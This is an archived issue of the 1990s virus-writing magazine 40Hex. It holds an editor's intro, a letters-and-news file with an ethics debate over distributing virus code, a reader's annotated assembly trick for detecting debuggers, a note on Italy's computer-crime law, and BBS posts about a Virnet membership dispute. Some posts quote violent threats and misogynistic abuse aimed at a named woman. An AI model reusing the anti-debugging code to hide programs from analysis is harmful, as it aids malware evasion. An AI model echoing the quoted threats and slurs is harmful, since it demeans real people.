💾 Archived View for gemini.spam.works › mirrors › textfiles › magazines › 40HEX › 40hex013 captured on 2022-06-12 at 10:05:41.

View Raw

More Information

-=-=-=-=-=-=-

40Hex Number 13 Volume 4 Issue 1                                      File 000

     No, we are not dead.  We are however insanely busy.  This upcoming 
year will be a legendary year for P/S with regards to various programming
projects.  Can I tell you about them?  Yes, but I won't.  I will say that 
we will be contributing immensely to the virus community.  Notice, I did
not say Vx.  Whenever I refer to the virus community, I am not refering
specifically to virus writers, virus collectors or Vx BBS sysops.  I am 
refering to everyone who has an interest in viruses.  Whether its stopping
them or making them.  It may be a split community, but I still percieve it 
as ONE community.  
     I am not going to ramble, I am not going to ramble...  Anyway, enjoy
the issue.  If you like this magazine, please let us know.  

Email: fortyhex@phantom.com

Snail Mail:
----------
40Hex
P.O. Box 252
New City, NY 10956

                              Table Of Contents
                              -----------------
                40hex-13.000.............You're soaking in it!
		40hex-13.001.............Letters To The Editor/Virus News
		40hex-13.002.............Self Dis-Infecting .EXEs
		40hex-13.003.............Removing Scan Strings From F-Prot
		40hex-13.004.............Paul Fergusons Response to 40H12
		40hex-13.005.............Mirror Virus Courtesy of TridenT
		40hex-13.006.............Shifting Objective 3 Virus
		40hex-13.007.............TiC's 40hex Index #1
		40hex-13.008.............New Feature:  This Old Virus.

Greets going out to:  Omega and all the TridenT guys, Nowhere Man and the
[NuKE] people, The Attitude Adjuster, Spyder, GhostRider, Anyone and everyone 
who sent us mail, articles or viruses, and to all programmers around the world.
Most important greets going out to all P/S members, keep up the great work.
40Hex Number 13 Volume 4 Issue 1                                      File 001

     Welcome to the News and letters area.  This file contains all the
interesting tidbits of news and whatnot that readers have sent our way. 
Thanks a lot to everyone who contributed. 


------------

I recently ftp'd all 12 of your issues and was browsing through them looking
to see what you were about.  I ran into a survey that was done on virus writing
and it caused me to be a bit concerned.  I've commented on the summary to
that article attached below.

  [stuff deleted] 
>Firearms are restricted because they can be used to cause serious or fatal 
>injuries.  No computer virus can be used to kill another person.  However, no 
>gun actually KILLS another person.  People kill people, the gun is simply an 
>instrument used.  Maybe a knife would be a better comparison.  Just becuase 

To my knowledge, no one has to date been killed by a virus.  However, it is
possible, and your presumption that no virus can be used to kill another
person is invalid. As more and more computers are integrated into hospital
settings, people's lives _depend_ on functional computers.  A virus can
easily cripple a vital computer system, causing severe problems in hospital
operations and patient care which could ultimately lead to someone's death. 
Viruses in other critical machines could prove just as fateful.  Imagine a
virus in the computers of the space shuttle, or any of the machines on Earth
used to make it go?  More and more, people are putting there _lives_ in the
hands of computers that they are trusting to work properly, by supporting
virus writers you are directly encouraging people to make it so these vital
computers don't function properly.

The only reason I am on my soapbox about this is because I have currently
come upon the situation where I am writing software that will be used in a
hospital environment in such a way that if I were to do a poor job and have
buggy code, peoples lives would be in jeopardy.  For example, the paging
system for the all of the ORs will be tied to the system I am working on. 
If someone has an OR emergency, they tell a computer in the OR, and an
emergency page goes out.  If the system goes down for _any_ reason, serious
problems could arise.



>murders are committed with knives, should we restrict them?  OR ban them 
>outright?  No, of course not.  Same with viruses.  Although they have the 

Knives serve a useful purpose....what useful purpose do viruses serve?



>We in Phalcon/Skism all believe in the freedom of information, and the right 
>that each and every American has to his own opinions.  Yes, we've written 
>viruses, and yes, we have no qualms about distributing virus code.  (This 
>magazine is one good example)  No one will be injured through our actions, 
>because we simply cranked out this 100% ascii text magazine.  We don't spread 
>our creations intentionally.  We do distribute them to those who want them, 
>and sometimes people do spread them.  We cannot control the actions of >others.  
>Breaking the law is wrong.  We don't break the law by programming.  We don't 
>break the law by sharing code.  Don't hold us responsible for those who use 
>our creations to break the law.  After all, you wouldn't hold Smith and >Wesson 
>responsible for a crime committed using one of their firearms, would you?  >No.  
>Nor would you hold GMC, Inc. responsible for a death caused by a drunk >driving

I'd like to insert here that Einstein felt guilty about pioneering the science
that led to the atomic bomb and ultimately killed thousands of Japanese.  Why?
Because something that _he_ did contributed to harming someone else.  If _he_
had never taken certain actions, much harm would not have been inflicted on many
people.  Just because you don't distribute to _victims_ the viruses you write,
you are partly responsible.  The sole purpose of a virus is to do something
to someone that they do not welcome.

>one of their vehicles.  They were not at fault for creating the vehicle.  The
>drunk was at fault for acting the way he did.  Same goes for viruses, and virus
>authors.  Don't place the blame on the wrong party.  There is a strong
>difference between creation and abuse.  

>Next time you ponder the legality of virus writing, think about this.  You 
>wouldn't want cars banned just because a few people don't handle them 
>responsibly.  Attack the criminal, not the creator.  And NEVER take away a 
>person's right to create.


Since you seem to like analogies, what about the one from which viruses
got there name?   If a group of scientist were sitting in a lab creating
new diseases and telling everyone how to do it easily, knowing that the
disease would likely be created and cause many people to become ill.....
Would they be responsible?


>                                --DecimatoR
>                                  Phalcon/Skism

Anyway, I'd be interested in hearing your comments.  Whether you give a damn
about other people or just don't feel at all responsible for your actions
as long as you don't pull the trigger on the gun......


Regards,

Chris Menegay
cmenegay@cs.tamu.edu

------------

Editor's Response:

I am going to keep this response pretty simple.  Do you think that people
who manufacture and distribute guns feel responsible for people who are
murdered by their guns?  I take full responsibility for my actions.  If I
sold flowers and someone bought one from me, and then crammed it down
someone's throat and that person died, am I responsible?  My intention wasn't
to hurt anyone, but someone got hurt.  Viruses are essentially my flowers. 
I don't intend for ANYONE to get hurt because of 40hex.  I intend to share
my hobby with others.  No more, no less.    

------------

I really appreciate your articles.  I find the articles on non-debugable code
very interesting.  I developed some of my own.  I used the lock command.


17F1:0100 B90601        MOV     CX,0106    ; setup for the jmp cx command
17F1:0103 0C00          OR      AL,00      ; bugus commands whose values are
                                           ; used for adding to cx. this is
                                           ; added if no debugger.
17F1:0105 1B00          SBB     AX,[BX+SI] ; this bogus command is what is
                                           ; added to cx if a debugger is used
17F1:0107 F0            LOCK               ; what makes it all happen
17F1:0108 89E5          MOV     BP,SP      ; get the stack
17F1:010A 8B7EFA        MOV     DI,[BP-06] ; look at offset of return ip value
                                           ; (di=010a if debugging else
                                           ; di=0108)
17F1:010D 034DFB        ADD     CX,[DI-05] ; add the appropriate bogus command
                                           ; to cx that is shown above
17F1:0110 FFE1          JMP     CX         ; go where no man has gone before
17F1:0112 E2EF          LOOP    0103       ; this is the address of where the
                                           ; first jmp cx goes to if there
17F1:0114 90            NOP                ; is no debugger. other
17F1:0115 90            NOP                ; modifications to cx can be done
17F1:0116 90            NOP                ; here but i just decremented cx
17F1:0117 90            NOP                ; and jumped back to the start to do
17F1:0118 90            NOP                ; it again
17F1:0119 90            NOP
17F1:011A 90            NOP                                        
17F1:011B 90            NOP                                        
17F1:011C 90            NOP                                        
17F1:011D 75E4          JNZ     0103       ; this is where jmp cx goes to on
                                           ; the second go around without a
17F1:011F 90            NOP                ; debugger.  i thought i would send
17F1:0120 90            NOP                ; it back for a third time.
17F1:0121 EBDD          JMP     0100       ; this is where jmp cx goes to if
                                           ; there is a debugger running
17F1:0123 90            NOP                ; captain kirk, scottie here, were
17F1:0124 90            NOP                ; stuck in a continuous feedback
17F1:0125 90            NOP                ; loop.
17F1:0126 90            NOP                ; i don't think i can maintain this
17F1:0126 90            NOP                ; much longer.
17F1:0127 90            NOP                                        
17F1:0128 90            NOP                                        
17F1:0129 B8070E        MOV     AX,0E07    ; this is where the jmp cx goes on
                                           ; the third time around
17F1:012C CD10          INT     10         ; lets do a beep for the folks back
                                           ; home
17F1:012E B8004C        MOV     AX,4C00    ; that's all folks.
17F1:0131 CD21          INT     21                                 

the same sort of thing could be done to get the relative offset with the hlt
command. again debuggers will get it wrong

17F1:0100 EB04          JMP     0106       ; deja vu
17F1:0102 31C0          XOR     AX,AX      ; dummy program                        
17F1:0104 CD21          INT     21         ; bye                                  
17F1:0106 F0            HLT                ; halt that processor
17F1:0107 89E5          MOV     BP,SP      ; lookie at our stack data                        
17F1:0109 8B6EFA        MOV     BP,[BP-06] ; and suck off the returned ip
17F1:010C 83ED07        SUB     BP,+07     ; for people who can't figure out
                                           ; how to adjust this value
					   ; out of their displacement

Sincerely,


"Q" the misanthrope.

------------

As of today, another country has provisions against computer viruses in
its legislation: Italy. A "Computer Crime Act" has been approved by the 
Italian Parliament last December 14th. These are its data:

LEGGE 23 dicembre 1993, n. 547
(Gazzetta Ufficiale 30-12-1993, n. 305)

(Law no. 547 passed Dec 23, 1993 - Published on the Official Journal 
 no. 305 of Dec 30, 1993)

The new act addresses various issues, including:
  . Damages caused to computers and telecommunication systems;
  . Unauthorized access;
  . Possession and unauthorized diffusion of access codes;
  . Spreading of malicious code;
  . Computer fraud;
  . Wiretapping of data communications;
  . Etc.

I'm not a lawyer, so I can't translate the whole act - I can only 
volounteer to e-mail a full copy in Italian to those interested
(it's around 22KB).
However, I have enclosed a tentative translation of the article
dealing with "Computer Viruses", as well as the original text.
If you find the translation inaccurate or plain wrong, feel free
to correct it.

Luca Parisi  -  Rome, Italy.  <mc1980@mclink.it>



"Article 615-quinquies of the Penal Code (Spreading of programs aimed
  at damaging or interrupting a computer system).
 
 Anyone who spreads, transmits or delivers a computer program, whether 
 written by himself or by someone else, aimed at or having the effect of 
 damaging a computer or telecommunication system, the programs or data
 contained in or pertaining to it, or interrupting in full or in part or 
 disrupting its operation is punished with the imprisonment for a term of 
 up to two years and a fine of up to It. L. 20,000,000."



"Art. 615-quinquies. - (Diffusione di programmi diretti a danneggiare o 
 interrompere un sistema informatico). - Chiunque diffonde, comunica o 
 consegna un programma informatico da lui stesso o da altri redatto, 
 avente per scopo o per effetto il danneggiamento di un sistema 
 informatico o telematico, dei dati o dei programmi in esso contenuti o 
 ad esso pertinenti, ovvero l'interruzione, totale o parziale, o 
 l'alterazione del suo funzionamento, e' punito con la reclusione sino 
 a due anni e con la multa sino a lire venti milioni."


------ End of Forwarded Article

News article:  Pamela Trexler aka Tiphoid Mary vs. Virnet
Summary:  Allegedly, Tiphoid was removed from Virnet, when it was exposed
that she was a NuKE member, and the "virus underground" had access to top
secret elite information.  Now, the removal is one thing, but Tiphoid and
others claim that someone in the Virnet Hierarchy allegedly did a full
background check on her, and supposedly even did a credit check.  
Keywords: virnet tiphoid peoplewhohavetoomuchtimeontheirhands heroine 



 From : MICHAEL PARIS                           Number : 422
   To : ALL                      		 Ref.# : 0      
Subj. : Virnet 1 of 4            		  Conf : Virus-Info
 Date : 04-30-94  Time : 17:46	[305/313]


                         V I R N E T  U S A
                          T h e  F a c t s 
      
        As I Know Them First Hand From A Virnet Hierarchy
                          By Michael Paris.
        C.R.I.S  (Computer Research & Information Service)
                              04/29/94



Part #1  Ethics
----------------

First I must say that it pains me to write this.  I have had
nothing but respect for virnet and the people I have know in it.
But with certain info I have become aware of I feel it is my duty
as a part of the human race to make these facts known.

I will separate this info into two parts, The first being the
morality of virnet hierarchies and the second in being facts on
their hidden background checks they have done on some of their
members.

To start with I have turned in my node address for virnet for the
reasons you will see in this open letter, I do not care to continue
to receive the virnet echo anymore and feel that there is some
things you should be made aware of.

1. A quick look through the virnet nodelist will tell you that
there are many people connected to this echo. Why? (Not sure to
tell you the truth).  It seems that for the topic of viruses there
is not much said. I have wasted space on my drive and time polling
and sorting through the mail for a few announcements of files and
welcomes, no real info, just some meaningless messages on
percentages of echo feeds etc. 

This has changed a bit here in the US when they added the "movies"
echo, but this is not what I was looking for, if I wanted to talk
about movies I would get it from fido or usenet mail.

2. The hierarchies of the net seem not to know much about viruses.
I will say that the people I have talked to do not even know what
a virus is! (no fun here) this is true.  Log on to your favorite
virnet hub or node (even the hierarchies systems) ask them what
polymorphic, spawning, stealth, etc, is and they will not know.
(this of course is not all systems, but I will guarantee that it is
the most of them, and definitely the hierarchies in virnet).

3. Lies, deceit, and morals.  It seems that from the people I have
talked to they are no different from the people they talk against.
Most people know about their friend John, This man was accused of
being vulgar to the extremes, he is shunned for speaking very
obscene about female members of virnet, as well as his aditude that
just shows he is unbalanced in the mind.

Well it seems I have found the same here in the virnet hierarchies,
talking to the people I have made me sick to my stomach and
reminded me of the talks I had with such unbalanced people as I did
before.  It made me sick to see the hate expressed and the way it
came out.  Talking compleatly about another topic would always
bring us back to the slander and foul language I did not want to
take part in.  As for the lies and deceit we will get into that a
bit more in this letter.  But as I have witnessed the hierarchies
would tell me one thing (I know was truth) and cover the facts to
the person it was about to avoid public embarrassment.


Below you will find an actual conversation between me and A person
in the virnet hierarchy.  THIS IS -NOT- A NODE OR HUB speaking for
virnet, it is someone in the hierarchy of virnet in a decision
making level!

[Narrator]

The names were taken out to protect the guilty!

This starts where this virnet hierarchy is talking about tring to
totaly get rid of an ex-virnet member that was found out to be a
nuke member getting the virnet echos. It makes me think why all the
bull shit seeing there is nothing really in the net to protect in
the first place but here is goes.

[Virnet Hierarchy] 

"and now all we need to do is get rid of ahh, [nukemember], or I
don't know I guess i'm gona have to get a few good minds together
and create some kind of document to finally put this to a final   
statement ehhm"

[Cris Staff Member] "well the biggest thing she has right know but she
does not have any proof of,"

[Virnet Hierarchy] 

"Uh hu"

[Cris Staff Member] 

"is when you told here about the credit and legal check that was
done on her, She does not have any proof of it but"

[Narrator]

Cris Staff Member was interrupted

[Virnet Hierarchy]

"I told her my dick was twelve inches long she didn't talk about
that!"

[Cris Staff Member]

"I don't think that would matter much"

[Virnet Hierarchy]

"why wouldn't that, ya she's so fat it wouldn't even phase her, 320
lbs. this girl is, I'd have to have a dick that was like god damm
A baseball bat."

[Cris Staff Member] "ok we won't get into that"

[Narrator]

Continued ..

--- GEcho 1.01+
 * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)


 From : MICHAEL PARIS            		Number : 423    
   To : ALL                      		 Ref.# : 0      
Subj. : Virnet 2 of 4            		  Conf : Virus-Info
 Date : 04-30-94  Time : 17:47	[306/313]




So the Cris Staff Member does not want to hear this garbage, Mr.
Virnet hierarchy goes on to talk about a previous Virnet hierarchy
that he was told was just as bad as this nuke member, because he
was told that virnet messages or files were being passed to the
virus groups through that person. Then he admits here and many
other times in this talk that he would rather join Crisnet and
leave virnet.

It might seem like a great prize to get someone with this position
into Cris but, we take pride in having 'honest' and 'sincere' non
slandering people in Cris. Every person I have talked to on this
matter that knows him has got the same impression of him and it
would not help Cris in the long run.  He offered to bring more then
half of virnet with him into Cris, but again it would not be worth
it in the long run. (one bad apple theory)

[Virnet Hierarchy]

"I heard that [old virnet hierarchy] was filtering virnet stuff to
nukenet."

[Cris Staff Member]

"ya,"

[Virnet Hierarchy]

"so now, you know, I mean, what's true, what's false, that's why I
would rather then there being such distinct lines I would rather go
in the middle with someone like you."

"what I would love to do is leave my wife, turn out to be just, a
bum, and so I can go, and knock some sense into all of these that
are sitting back causing heck, AND PUT A COUPLE BULLETS IN THEIR
BRAINS! MAKE THEM SUFFER FIRST THOUGH! Because this is just to much
bullshit! Did you read the initial letter I wrote to [NukeMember]?"


"I've just been praying for someone to come over here or call, I
put my number out there, I am praying for all of these TUFF, BAD,
LILY WHITE MOTHER FUCKERS TO COME OVER HERE!"
 
"I would LOVE, to see them come over here!"

[Narrator]

Some time passed by and they get on the topic of that nuke member
again, The Virnet Hierarchy thinks that the Cris staff member is
going to spill the beans and will not fully admit to him about a
certain matter.  So he continues...

[Virnet Hierarchy]

"how do i tell you that this is a virnet policy situation among
hosts, consequently, it would be against policy for me to go taking
things any further with anyone but a host or higher, how does that
sound?"

[Cris Staff Member]

"ok, last time when we talked you had shared with me that you had
resources available and that you HAD done a background and legal
check on [nukemember]"

[Virnet Hierarchy]

"It really doesn't matt...ok number one it really does not effect
Cris Admin, ok, it really doesn't matter what we are doing! If I
was getting ready to get on a plane to fly out there and blow here
brains out does it matter?"

[Cris Staff Member]

"that would"

[Virnet Hierarchy]

"would you tell her?"

[Cris Staff Member]

"ya"

[Virnet Hierarchy]

"so with that in mind, why should I say anything? your showing
partiality to her!"

[Cris Staff Member] 

"A persons life is a whole other story, for someone to fly out to
blow someone's brains out, that person would be short in the head
or something, so that is a whole different scenario"

[Virnet Hierarchy]

"Well she needs somebody to, [pause] she needs to sit in jail and
have some BIG BLACK WOMAN, [pause] STICK A BROOM HANDLE UP HER
CUNT!"  [pause] "and hopefully the broom handle will have slivers,
maybe it will excite her! BIG FAT GREASY BITCH!"


[Narrator]

This is all going to far at this point, the slander against someone
he hardly knows and his vulgar tongue is working overtime, now he
goes on to defend the issue of looking into peoples personal
background. (meaning credit and legal checks)

[Virnet Hierarchy]

"Does it matter if I said I was going to hire an investigator to do
checks on every person in virnet?"

[Cris Staff Member]

"well, you should not have told her though, you should have never
said anything to her"

[Virnet Hierarchy]

"it's right in the papers, that four people, BEFORE SHE JOINED,
THAT DIRTY UGLY SLUT SHOULD LEARN HOW TO READ! its right in the
papers that four people will have access to your information, the
REC, the applications coordinator, Mr. Michael Larson, and she put
up such a bitch about him having information on her, and if need
be, and INVESTIGATOR! [pause] IT SAY'S THAT IN THE PAPER WORK!"

[Cris Staff Member]

"hum"

[Virnet Hierarchy]

"what ever she does in life, if she gets stopped for a traffic
violation, the whores going to get stopped and checked for
everything that she's ever done!"

Continued ...

--- GEcho 1.01+
 * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)


 From : MICHAEL PARIS            		Number : 424    
   To : ALL                      		 Ref.# : 0      
Subj. : Virnet 3 of 4            		  Conf : Virus-Info
 Date : 04-30-94  Time : 17:47	[307/313]



[Narrator]

This goes on, and there is much more slander about named virus
writers, virus writers in general, groups, etc.  But this is here
so you can understand why I feel that virnet has it's problems and
I want no part in it.



Part #2  Virnet Background Checks
---------------------------------

Next lets touch the area of background checks.  Did you know that
this [Virnet Hierarchy] believes that they (if they feel the need)
believe they can check you out in ANY WAY they want?

This includes LEGAL, CREDIT, PERSONAL, ETC... this virnet hierarchy
told me that it has always been done this way. People did not know
it, but the previous hierarchies did this as well. THIS WAS TOLD ME
BY THIS VIRNET HIERARCHY!

They feel that the words in the application that you fill out where
it says about your info on the application, that "if need be, and
investigator" will see it, means that they can find a private
investigator or friend of their's to look into your LEGAL and
PERSONAL background and DIG UP any info they can find on you!

This hierarchy feels that there is no forgiveness or excuses for
mistakes, if you have a bad credit background it shows you are
"unstable" and not fit for the net! If you were an X-Convict and
paid your debt to society, you will do it again and could be a bad
egg in the net, so you should not be allowed in the net!

[Narrator]

So what we will see here is where the common fact of him telling me
that he had someone do these checks on this virnet node is not
disputed, but rather EVERY TIME I bring it up he changes the
subject until it comes to the point where after hours I confront
him and corner him on the issue and he spills the beans.

[Cris Staff Member]

"I guess the main thing she was talking about was the virnet checks,
you know that they checked into her credit"

[Narrator] ---> Interrupted by Virnet Hierarchy and changes the
topic.

[Virnet Hierarchy]

"I will not divulge information on my life, whether I am getting
along with my wife or not, or whether my penis is shriveled up or
not.."

[Narrator]

So he goes on and on to keep away from the issue.

[Cris staff Member]

"Well you did do a check on her right? "

[Virnet Hierarchy]

"huh?"

[Cris Staff Member]

"I remember you telling me about this"

[Narrator] ---->  Interrupted again and changes the topic.

[Virnet Hierarchy]

"Hold on a minute I am reading a letter"

[Narrator] ----> after a few minutes of reading he never comes back
to answer.

[Cris Staff Member] 

"well the biggest thing she has right know but she does not have any 
proof of,"

[Virnet Hierarchy]

"Uh hu"

[Cris Staff Member]

"is when you told here about the credit and legal check that was
done on her, She does not have any proof of it but"

[Narrator]

Cris Staff Member interrupted

[Virnet Hierarchy]

"I told her my dick was twelve inches long she didn't talk about
that!"

[Cris Staff Member]

"I don't think that would matter much"

[Virnet Hierarchy]

"why wouldn't that, ya she's so fat it wouldn't even phase her, 320
lbs. this girl is, I'd have to have a dick that was like god damm
A baseball bat."

[Narrator]

So we see once again he changes the topic!

[Cris staff Member] 

"Well the main thing she's got is the fact of the legal and
background checks, but she does not have any proof at all, there is
nothing in writing that she can pull up, just that one instance of
you informing her that it was done on her."

[Narrator]

Again this goes on, no comment on what was said, just A change of
topic. This goes on many times, at least 12 other times where he
evades the issue until he is cornered on it!

[Virnet Hierarchy]

"Does it matter if I said I was going to hire an investigator to do
checks on every person in virnet?"

[Cris Staff Member]

"well, you should not have told here though, you should have never
said anything to her"

[Virnet Hierarchy]

"it's right in the papers, that four people, BEFORE SHE JOINED,
THAT DIRTY UGLY SLUT SHOULD LEARN HOW TO READ! its right in the
papers that four people will have access to your information, the
REC, the applications coordinator, Mr. Michael Larson, and she put
up such a bitch about him having information on her, and if need be,
and INVESTIGATOR! [pause] IT SAY'S THAT IN THE PAPER WORK!"

[Cris Staff Member]

"hum"

Continued ...

--- GEcho 1.01+
 * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)


 From : MICHAEL PARIS            		Number : 425    
   To : ALL                      		 Ref.# : 0      
Subj. : Virnet 4 of 4            		  Conf : Virus-Info
 Date : 04-30-94  Time : 17:48	[308/313]



[Virnet Hierarchy]

"what ever she does in life, if she gets stopped for a traffic
violation, the whores going to get stopped and checked for
everything that she's ever done!

[Cris Staff Member]

"I have to be honest with you here ... I see mail nets as a hobby,
I would not want a net to be looking into my legal and credit
information. I am sure you feel the same way!"

[Virnet Hierarchy]

"Your ABSOLUTELY wrong!"

[Cris Staff Member]

"Tell me why I am wrong"

[Virnet Hierarchy]

"Everything we do in life, everything we do we get checked! When you
go for a job, you get checked, you sign a paper, maybe you haven't
but I have signed many of papers that said [changes idea] No matter
what you do, if you drive, no matter what you do in life, driving
can be a hobby, but your going to get checked! "

"Let me give you a beautiful example, she better not ever go to LA.
california, they send police officers on the street, and they just
stop people at will, and they run a check on them!"

[Cris Staff Member]

"But we are talking about a net here, ok you feel this way because
it's an anti-virus net or if it was any net?"

[Virnet Hierarchy]

"ANY NET!  A N Y  N E T!, when you join an organization they have
every right to check up on you because you are becoming part of a
team. and maybe there is someone that don't want as part of that
team."

[Cris Staff Member]

"Well I know there is allot of people that may have claimed a
bankruptcy in their past, or maybe they are an x-convict, they
spent time for a certain crime, but they paid their dept to
society. So if that shows up they are going to be kicked out of the
net?  What virnet does it it's own business, I don't want to argue,
but" [interrupted]

[Virnet Hierarchy]

"She was offered to resign! did she resign? she makes it look like
she quit the virnet! in fact all hells going to break loose when I
resign, I'm going to resign. Everybody's going down!"

[Narrator]

This still goes on quite a bit, talking about many different topics
such as law, how you should not make mistakes and if you do you
should go to jail for them, how viruses should be against the law
and people that write them should be locked up, many virus writers
are mentioned and slandered, but then on the topic of prostitutes,
they are ok!  and other law breakers are not as bad as virus
writers.  I told him that I resign my node number for virnet, and
he asked me to please wait until this all blows over, but I could
not wait for this all to come out in the open, so I just left my
node number with him.

Also I have a number of hole cards ready to come out on Mr. Virnet
Hierarchy in case the same kind of slander comes this way.

Here is A post that also shows support in this issue:



 > I would be interested to know how this turns out for
 > you and Steve.  Virnet
 > is a great disappointment to me all the way round.

Well, I got a call from Mr. Nuemann (spelling?) last night, and we spent about
two hours on the phone, during which time he told me things about you (the
same things that you had already told me), and we got into a discussion about
having virus writers in the net. I told him that, yes, there should be SOME
screening, but that the net would be better served if they had at least SOME
opposing information allowed access, but he disagreed. I might have been
willing to stay in the net, had he not basically confirmed your statements
about background checks. He said that they DO hire Private Investigators to
look into the backgrounds of "questionable" people. At that point, I told him
that I believed that they had overstepped the bounds of ANY network, and that
what they are doing may indeed be illegal. I also told him that my privacy and
integrity were MUCH more important to me than ANY net, and could no longer
afford to be associated with their net.

Anyway, to make a long story short, I am no longer associated with VirNet, and
their communistic approach to what is STILL basically a hobby.

                            Dave


C.R.I.S  (Computer Research & Information Service)
 

--- GEcho 1.01+
 * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)


 From : MATT MILLER              		Number : 426    
   To : BILL DIRKS               		 Ref.# : 0      
Subj. : Virnet                1/3		  Conf : Virus-Info
 Date : 04-30-94  Time : 19:16	[309/313]

        This is gonna be a long post folks... I suggest you get a
        pepsi/beer/glass of your favorite beverage, and a sandwich or
        something before you continue. If you don't like long posts I
        suggest you move to the next thread.

BD>Pam Trexler wrote a misleading article and here's a sort of rebutal.

BD>     Remember, Virnet is a fairly selective and secure network. Untampered 
  >untainted files (hatched files are received directly from the authors) are 
  >standard along with membership exclusively for those with antivirus interes
  >(not those trying to help the virus writing community). Naturally, virus
  >writers and those that help them are excluded. Also, Virnet policy states
  >Virnet information will not be given or passed to non-Virnet nodes. Further
  >in joining Virnet, you agree to the above.

 ----------------------------------------------------------------------------
  > Individual regions can further put
  >additional restrictions on membership (which is the case in North America).
        Bill, Does this include the signing of any form(s) allowing
        Virnet personnel the right to access one's personal records?
        I think not. I also know that in most states it is illegal
        to obtain such information without explicit written consent.
        Do you or Mr. Neuman have Ms. Trexlers signature on any form(s)
        authorizing this type of invasion of privacy? I thought not...

  >Virnet also prides itself on the fact that most of their information doesn'
  >make it to the virus writing community for their use. If someone is found
  >doing this, they are dismissed as was your case since you were in violation
  >virtually all policies in place..

        OK, so you have someone in your network that you want out. Is it
        really necessary to obtain personal information on them?
        Couldn't you just politely inform them of their removal from the
        net?

BD> PT> Do you know that when you join Virnet that the
  > PT> coordinators of that network are performing personal
  > PT> background checks on their members?

BD>     Untrue. Nothing except a cursury check is done. e.g. are you known to 
  >part of a virus writing group or are you known for writing or spreading
  >viruses, etc.
 -------------------------------------------------------------------------
  >Here in the US at present, this is determined by the
  >applications coordinator from information he has on hand, NOT from a
  >background check.
       Hmmm... seems to me that you contradict yourself in the next
       sentance.
 ____________________________________________________________________
  >Unfortunately, you forced yourself to become the one and
  >only exception to the rule to date (>3 years).
 ____________________________________________________________________
 ****   In the above sentance Bill admits that Virnet did the
 ****   background/credit check. Remember this when you read his other
 ****   posts saying they didn't.

        Bill, kindly explain to me how someone can force Virnet to do a
        background check on them. I really don't understand your angle
        here. She didn't force Virnet / Mr. Neuman to do anything. He
        chose to do it. That is irrefutable FACT. If you don't want
        someone in your net you remove them, you do not go snooping into
        their background. (unless you are the Virnet applications
        co-ordinator looking for dirt on people you dislike...)

        **** Note for those that made it this far:
        Information to back up the above statement should reach you in
        the same mail packet as this post. If not it will surely be in
        the next.

BD> PT> Do you know they are pulling credit records and legal records on
  > PT> their nodes?

BD>     This was a one time incident limited to yourself, and forced by yourse

        C'mon now Bill, she didn't force anyone to do any kind of
        background/credit check. You are attempting to smooth over what
        they did.

  >. Because of the various lies and deceit on your part, it was virtally
  >impossible without resorting to extraordinary means to determine what was f
  >and what was fiction coming from you.

        If Virnet knew of these alleged "lies and deceit" then again I
        ask you "Why didn't they just remove her from the net?" Why go
        through all the trouble of obtaining the aforementioned checks?


  >This info was used as a tool to ferret
  >out a leak in the network. It was used "after" you seemed to be the leak bu
  >used for confirmation. This is obvious by the amount of time it took to
  >confirm you were the originating US link of Virnet info to the virus writin
  >community (> 1 yr).

(Continued to next message)
  QMPro 1.50 03-4821  Blah..........
--- GEcho 1.01+
 * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)


 From : MATT MILLER              		Number : 427    
   To : BILL DIRKS               		 Ref.# : 0      
Subj. : Virnet                2/3		  Conf : Virus-Info
 Date : 04-30-94  Time : 19:16	[310/313]

(Continued from previous message)


        Personal comment mode on:
        Bill, I hate to be the bearer of bad news, but Virnet stinks,
        the net is stale and boring and contains no information any
        virus writer (or most any bipedal lifeform) would consider
        valuable.
        mode off.

  >Three people have this info and you are aware of who they
  >are (meets most the legal requirements for disclosure since you are the one
  >who provided the information to enable verification of information you
  >withheld). From my understanding, you are upset basically over the fact tha
  >this info helped verify you were part of the virus writing community.

        This is FUD (f-cked up drivel) dreamed up by Mr. Neuman to try
        and cover their proverbial ass should litigation be forthcoming.

BD> PT> They didn't tell me they would pull my credit record.
  > PT> They never informed me that they would check my legal
  > PT> record.  There is nothing
  > PT> in those that I am ashamed of, but do they have the right to do this
  > PT> WITHOUT THE KNOWLEDGE OF THE NODE?  Why would Virnet need to know abou
  > PT> my credit background?  Why should Virnet need to know
  > PT> if I have a speeding ticket or anything else?

BD>     No, but then again, you are the one who forced them into a corner with
  >your lies. You were in the net over a year before anything was done. You ar
  >the one who cast doubt as to who you are or are not. This information was u
  >for verification and informational purposes only. "NONE" of it has or will 
  >published unless you chose to do so.... e.g. no one has published your vari
  >AKAs that you use among other things. e.g. you published your real name her
  >instead of an AKA which is the norm of your friends.

        Yet more FUD... Again I ask you to tell me how she "forced"
        anyone to do anything? So what if you haven't published it
        publicly... it is still illegal in most areas to obtain such
        information without written consent.

  >     Let me put this in a better prospective for everyone! I am a computer
  >consultant. I reserve the right to reject prospective clients depending upo
  >many factors. I can make this determination based upon information they
  >readily provide me. I "may" depending upon the circumstances use what they
  >have provided to do credit checks, "rap-sheets", etc., to PROTECT myself. T
  >is based upon something legally called "Implied Consent". I did not need th
  >permission to perform these checks as you imply. It is 100% legal in most
  >cases. The Virnet administration simply applied the "Implied Consent" rule 
  >protect themselves. Nothing more, nothing less. Please understand, you were
  >the one that consented to Virnet's rules and broke them.

        Trying to rationalize it away... The above is pure cr-p. You are
        attempting to say that just by accepting a position in Virnet
        she "implied consent" for checks into her personal and legal
        records? B-S! ***** Potential Virnet sysops should reread the
        above paragraph 15 times, after doing so if you still choose to
        join Virnet, you should consider professional counselling.

BD> PT> Running a BBS is a hobby, not a business.  My feeling
  > PT> about this is that they do not have the right to invade
  > PT> my privacy in order to run a network.  Especially
  > PT> without my knowledge.

BD>     You ported Virnet info to the virus writing community without telling
  >them which was against their rules. Granted, two wrongs don't make a right 
  >it seems you are upset about them doing the same thing you were, going behi
  >your back. Doesn't feel to well does it when you break a trust.........

        In the above para. Bill admits what they did was wrong. Very
        strange indeed after all the FUD he spewed trying to rationalize
        it away don't you think? Yet AGAIN I ask why she wasn't just
        removed from the net?


BD> PT> How would you feel to learn that your legal records are being passed
  > PT> overseas because you were interested in reading and participating in
  > PT> an anti-virus network.

BD>     They were passed overseas to the Virnet International Coordinator. I'm
  >sure this and other info helped in verifying your excommunication from the
  >net. It'll also help so you don't go and get an overseas feed into the net 
